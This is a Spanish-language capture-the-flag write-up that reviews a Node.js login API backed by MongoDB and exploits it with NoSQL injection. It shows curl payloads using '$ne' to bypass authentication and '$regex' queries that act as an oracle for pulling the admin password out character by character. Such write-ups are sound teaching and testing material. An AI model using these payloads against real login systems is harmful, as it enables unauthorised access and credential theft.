Wild Goose Hunt
3 minutos de lectura
Se nos proporciona este sitio web:
También tenemos el código fuente del proyecto en Node.js (Express).
Análisis del código fuente
Este es index.js
:
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const routes = require('./routes');
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost:27017/heros', { useNewUrlParser: true , useUnifiedTopology: true });
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(express.static('static'));
app.set('view engine', 'pug');
app.use(routes);
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
app.listen(1337, () => console.log('Listening on port 1337'));
Aquí vemos que el servidor usa MongoDB para la base de datos utilizando mongoose
como Object-Document Mapper (ODM). Su versión es 5.10.10, según package.json
:
{
"name": "heros",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "TRX",
"license": "ISC",
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"mongoose": "^5.10.10",
"pug": "^2.0.4"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Aunque hay vulnerabilidades que coinciden con esta versión, no son explotables (más información en security.snyk.io).
Los endpoints disponibles están en routes/index.js
:
const express = require('express');
const router = express.Router();
const User = require('../models/User');
router.get('/', (req, res) => {
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return User.find({
username,
password
})
.then((user) => {
if (user.length == 1) {
return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
} else {
return res.json({logged: 0, message: 'Login Failed'});
}
})
.catch(() => res.json({ message: 'Something went wrong'}) );
}
return res.json({ message: 'Invalid username or password'});
});
module.exports = router;
Como se puede ver, el servidor toma nuestro input del cuerpo de la petición y lo usa para consultar la base de datos utilizando User
como modelo:
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
let User = new Schema({
username: {
type: String
},
password: {
type: String
}
}, {
collection: 'users'
});
module.exports = mongoose.model('User', User);
El problema aquí es que el servidor no verifica que nuestro input sea en realidad un String
…
Inyección NoSQL
Por lo tanto, podemos explotar una inyección de NoSQL utilizando payloads como los que aparecen en HackTricks.
Por ejemplo, podemos saltarnos la autenticación:
$ curl 94.237.62.195:36829/api/login -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
Sin embargo, el objetivo es encontrar la flag, que se encuentra en la base de datos (véase entrypoint.sh
):
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
# Start mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
# Wait for mongodb
until nc -z localhost 27017; do echo "not up" && sleep 1; done
# Populate mongodb
mongosh heros --eval "db.createCollection('users')"
mongosh heros --eval 'db.users.insert( { username: "admin", password: "HTB{f4k3_fl4g_f0r_t3st1ng}"} )'
# Run services
/usr/bin/supervisord -c /etc/supervisord.conf
Oráculo
Con NoSQLi, también podemos extraer información de la base de datos. Un buen enfoque en MongoDB es usar $regex
. Esta vez, tenemos un oráculo porque cuando la contraseña coincida con la RegEx, el inicio de sesión será exitoso y; si no, el inicio de sesión fallará:
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTB.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTX.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":0,"message":"Login Failed"}
Sabiendo esto, podemos escribir un script para automatizar la extracción de flag. Decidí usar Go para esto y mejoré el rendimiento usando threads para extraer cada byte.
Flag
Si ejecutamos el script, capturaremos la flag en cuestión de segundos:
$ go run solve.go 94.237.62.195:36829
HTB{th3_4l13ns_h4v3nt_us3d_m0ng0db_I_gu3ss!}
El script completo se puede encontrar aquí: solve.go
.